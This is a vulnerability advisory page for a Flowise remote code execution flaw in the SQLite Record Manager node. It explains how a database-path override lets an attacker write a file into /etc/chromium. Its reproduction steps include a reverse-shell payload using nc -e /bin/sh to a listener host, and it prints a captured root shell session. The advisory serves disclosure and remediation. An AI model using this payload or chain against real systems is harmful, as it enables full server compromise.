Skip to content

GHSA-x3hf-7cj6-3r4m CVE-2026-69259

Flowise RCE via SQLite Record Manager Node

High npm
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.82%
Chance of exploitation in the next 30 days. Higher than 57.30% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix
Available
2 packages have a fixed version

Description

============================================================================= Security Advisory elttam

Topic: Flowise RCE via SQLite Record Manager Node

Module: FlowiseAI/Flowise Disclosed: 24-Apr-2026 Credits: Alex Brown Affects: FlowiseAI/Flowise 3.1.2

I. Background

Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.

Flowise allows users to connect to a local SQLite database for record management of Upsert Vector Store operations.

II. Problem Description

The database path for the "SQLite Record Manager" node could be overridden using the additionalConfig input, as demonstrated in the following code snippet.

https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts

class SQLiteRecordManager_RecordManager implements INode {
    ...
    async init(nodeData: INodeData, _: string, options: ICommonObject): Promise<any> {
        const _tableName = nodeData.inputs?.tableName as string
        const tableName = _tableName ? _tableName : 'upsertion_records'
        const additionalConfig = nodeData.inputs?.additionalConfig as string <1>
        const _namespace = nodeData.inputs?.namespace as string
        const namespace = _namespace ? _namespace : options.chatflowid
        const cleanup = nodeData.inputs?.cleanup as string
        const _sourceIdKey = nodeData.inputs?.sourceIdKey as string
        const sourceIdKey = _sourceIdKey ? _sourceIdKey : 'source'

        let additionalConfiguration = {}
        if (additionalConfig) {
            try {
                additionalConfiguration = typeof additionalConfig === 'object' ? additionalConfig : JSON.parse(additionalConfig)
            } catch (exception) {
                throw new Error('Invalid JSON in the Additional Configuration: ' + exception)
            }
        }

        const database = path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite') <2>

        const sqliteOptions = {
            database,
            ...additionalConfiguration, <3>
            type: 'sqlite'
        }

        const args = {
            sqliteOptions,
            tableName: tableName
        }

        const recordManager = new SQLiteRecordManager(namespace, args)

        ;(recordManager as any).cleanup = cleanup
        ;(recordManager as any).sourceIdKey = sourceIdKey

        return recordManager
    }
}

<1> The additionalConfig input was user controllable.

<2> The intended SQLite database path.

<3> Keyword argument expansion of the additionalConfiguration variable after the database variable, which allows overwriting the preceding database setting.

An attacker could abuse this weakness to write an SQLite database to an arbitrary filepath, which includes system directories since the flowiseai/flowise:3.1.2 Docker image runs as root.

However, unlike the Flowise RCE via SQL Database Chain Node vulnerability, the executed SQL query was not user controllable and the tableName input was validated to match the /^[a-zA-Z0-9_]+$/ regex pattern, as shown in the following code snippet.

https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts

class SQLiteRecordManager implements RecordManagerInterface {
    ...

    sanitizeTableName(tableName: string): string {
        // Trim and normalize case, turn whitespace into underscores
        tableName = tableName.trim().toLowerCase().replace(/\s+/g, '_')

        // Validate using a regex (alphanumeric and underscores only)
        if (!/^[a-zA-Z0-9_]+$/.test(tableName)) { <1>
            throw new Error('Invalid table name')
        }

        return tableName
    }

    ...

    async createSchema(): Promise<void> {
        const dataSource = await this.getDataSource()
        try {
            const queryRunner = dataSource.createQueryRunner()
            const tableName = this.sanitizeTableName(this.tableName) <1>

            await queryRunner.manager.query(` <2>
CREATE TABLE IF NOT EXISTS "${tableName}" (
  uuid TEXT PRIMARY KEY DEFAULT (lower(hex(randomblob(16)))),
  key TEXT NOT NULL,
  namespace TEXT NOT NULL,
  updated_at REAL NOT NULL,
  group_id TEXT,
  UNIQUE (key, namespace)
);
CREATE INDEX IF NOT EXISTS updated_at_index ON "${tableName}" (updated_at);
CREATE INDEX IF NOT EXISTS key_index ON "${tableName}" (key);
CREATE INDEX IF NOT EXISTS namespace_index ON "${tableName}" (namespace);
CREATE INDEX IF NOT EXISTS group_id_index ON "${tableName}" (group_id);`)

            // Add doc_id column if it doesn't exist (migration for existing tables)
            const checkColumn = await queryRunner.manager.query(
                `SELECT COUNT(*) as count FROM pragma_table_info('${tableName}') WHERE name='doc_id';`
            )
            if (checkColumn[0].count === 0) {
                await queryRunner.manager.query(`ALTER TABLE "${tableName}" ADD COLUMN doc_id TEXT;`)
                await queryRunner.manager.query(`CREATE INDEX IF NOT EXISTS doc_id_index ON "${tableName}" (doc_id);`)
            }

            await queryRunner.release()
        } catch (e: any) {
            // This error indicates that the table already exists
            // Due to asynchronous nature of the code, it is possible that
            // the table is created between the time we check if it exists
            // and the time we try to create it. It can be safely ignored.
            if ('code' in e && e.code === '23505') {
                return
            }
            throw e
        } finally {
            await dataSource.destroy()
        }
    }

    ...

    async update(keys: Array<{ uid: string; docId: string }> | string[], updateOptions?: UpdateOptions): Promise<void> {
        if (keys.length === 0) {
            return
        }
        const dataSource = await this.getDataSource()
        const queryRunner = dataSource.createQueryRunner()
        const tableName = this.sanitizeTableName(this.tableName)

        const updatedAt = await this.getTime()
        const { timeAtLeast, groupIds: _groupIds } = updateOptions ?? {}

        if (timeAtLeast && updatedAt < timeAtLeast) {
            throw new Error(`Time sync issue with database ${updatedAt} < ${timeAtLeast}`)
        }

        // Handle both new format (objects with uid and docId) and old format (strings)
        const isNewFormat = keys.length > 0 && typeof keys[0] === 'object' && 'uid' in keys[0]
        const keyStrings = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.uid) : (keys as string[])
        const docIds = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.docId) : keys.map(() => null)

        const groupIds = _groupIds ?? keyStrings.map(() => null)

        if (groupIds.length !== keyStrings.length) {
            throw new Error(`Number of keys (${keyStrings.length}) does not match number of group_ids (${groupIds.length})`)
        }

        const recordsToUpsert = keyStrings.map((key, i) => [key, this.namespace, updatedAt, groupIds[i] ?? null, docIds[i] ?? null]) <3>

        const query = `
        INSERT INTO "${tableName}" (key, namespace, updated_at, group_id, doc_id)
        VALUES (?, ?, ?, ?, ?)
        ON CONFLICT (key, namespace) DO UPDATE SET updated_at = excluded.updated_at, doc_id = excluded.doc_id`

        try {
            // To handle multiple files upsert
            for (const record of recordsToUpsert) {
                // Consider using a transaction for batch operations
                await queryRunner.manager.query(query, record.flat())
            }
            await queryRunner.release()
        } catch (error) {
            console.error('Error updating in SQLiteRecordManager:')
            throw error
        } finally {
            await dataSource.destroy()
        }
    }
    ...
}

<1> Validates the tableName input matches the regex pattern /^[a-zA-Z0-9_]+$/.

<2> The SQL command creating the database table, which is not user controllable.

<3> The this.namespace is a user controllable input for the node.

Since the allowed characters of the tableName input were restricted, it was not possible to utilise the same technique from GHSA-pwfj-wh95-7mwp to comment out () characters within the SQLite database file that would cause a syntax error when executed as a shell script. To avoid this limitation, the binary structure of SQLite databases was investigated, where the following output shows the binary structure of the doc_id_index cell using the default upsertion_records table name.

Bytes         Raw    Decoded
──────────────────────────────────────────────────
[3574:3575]   62     payload length = 98
[3575:3576]   04     rowid = 4

── Record Header ──────────────────────────────
[3576:3577]   06     header length = 6
[3577:3578]   17     col 0 = 23  → TEXT 5 bytes   ('index')
[3578:3579]   25     col 1 = 37  → TEXT 12 bytes  ('doc_id_index')
[3579:3580]   2f     col 2 = 47  → TEXT 17 bytes  ('upsertion_records') <1>
[3580:3581]   01     col 3 = 1   → INT8 1 byte
[3581:3582]   7f     col 4 = 127 → TEXT 57 bytes  (CREATE INDEX sql)

── Record Body ────────────────────────────────
[3582:3587]   696e646578     col 0 = 'index'
[3587:3599]   646f635f69…    col 1 = 'doc_id_index'
[3599:3616]   757073657274…  col 2 = 'upsertion_records'
[3616:3617]   05             col 3 = 5  (root page = page 5)
[3617:3674]   43524541544…   col 4 = 'CREATE INDEX doc_id_index ON "upsertion_records" (doc_id)'

<1> \x2f serial type corresponds to a TEXT value that is 17 bytes long.

The length of the table name can be manipulated, and a serial type of ' corresponds to a string that is 13 bytes long. The injected ' could then be used to wrap the problematic () characters within the cell, which is then closed by the namespace input that also contains a reverse shell payload that is executed when Puppeteer launches a Chromium browser reading the malicious SQLite database from a /etc/chromium/*.conf file.

The following steps document the procedure to reproduce this issue:

  1. Import the following Chatflow and configure the OpenAI and Weaviate nodes. Observe that the additionalConfig.database input for the SQLite Record Manager node is set to /etc/chromium/exploit.conf, which is the destination the SQLite database will be created. The tableName input is set to AAAAAAAAAAAAA, so the encoded serial type of its length would be ', and the namespace is set to '$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh) to close the previous ' and then use command substitution to execute a reverse shell payload. Perform an Upsert Vector Store operation and observe the SQLite database being created at /etc/chromium/exploit.conf.

sqlite-record-rce-poc.json

  1. Import the following Chatflow and perform an Upsert Vector Store operation. When Puppeteer is launched, it will execute chromium-browser that sources all /etc/chromium/*.conf files, triggering the reverse shell payload as shown in the following terminal output.

sqlite-sqlchain-puppeteer-trigger.json

$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 40677
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
ps aux
PID   USER     TIME  COMMAND
    1 root      0:13 node /usr/local/bin/flowise start
   18 root      0:00 [sh]
   30 root      0:00 {chromium-browse} /bin/sh /usr/bin/chromium-browser --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-features=Translate,BackForwardCache,AcceptCHFrame,MediaRouter,OptimizationHints --disable-hang-monitor --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-sync --enable-automation --enable-blink-features=IdleDetection --enable-features=NetworkServiceInProcess2 --export-tagged-pdf --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --headless=new --hide-scrollbars --mute-audio about:blank --no-sandbox --remote-debugging-port=0 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-AnFBBC
   31 root      0:00 /bin/sh
   33 root      0:00 ps aux

III. Impact

An authenticated user on a Flowise instance using the published Docker image could exploit this vulnerability to achieve RCE, resulting in full compromise of the application.

IV. Solution

Consider performing the following remediation activities:

  • Ensure that the additionalConfig input could not be abused to overwrite the database property to an arbitrary file path.

  • Use a low-privileged user for container runtimes instead of the privileged root user, since the root user has file access to the entire filesystem of the container.

Affected versions

npm

PackageVulnerableFixed in
flowise
< 3.1.3
3.1.3
flowise-components
< 3.1.3
3.1.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

flowise npm → 3.1.3

npm
npm install flowise@3.1.3
yarn
yarn add flowise@3.1.3
pnpm
pnpm add flowise@3.1.3

flowise-components npm → 3.1.3

npm
npm install flowise-components@3.1.3
yarn
yarn add flowise-components@3.1.3
pnpm
pnpm add flowise-components@3.1.3

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
High
Availability (subsequent systems)
High

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-w7x8-q2gp-5cgg
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
Critical Also affects flowise
GHSA-9gvv-qjj3-2p6g
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
High Also affects flowise
GHSA-qgvm-j2hm-6m38
Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service
Critical Also affects flowise
GHSA-5xvg-pmgg-3mxr
Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability
Critical Also affects flowise
GHSA-gmmw-qg98-6j6p
Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation
High Also affects flowise
GHSA-8gj2-2cvc-6xx7
Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials
Medium Also affects flowise
GHSA-fm2f-4339-4p2f
Flowise: Missing Authorization on Execution Update Endpoint
Medium Also affects flowise
GHSA-wch5-xp77-fxg4
Flowise: Cross-Workspace OAuth2 Credential Metadata Leak
High Also affects flowise
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor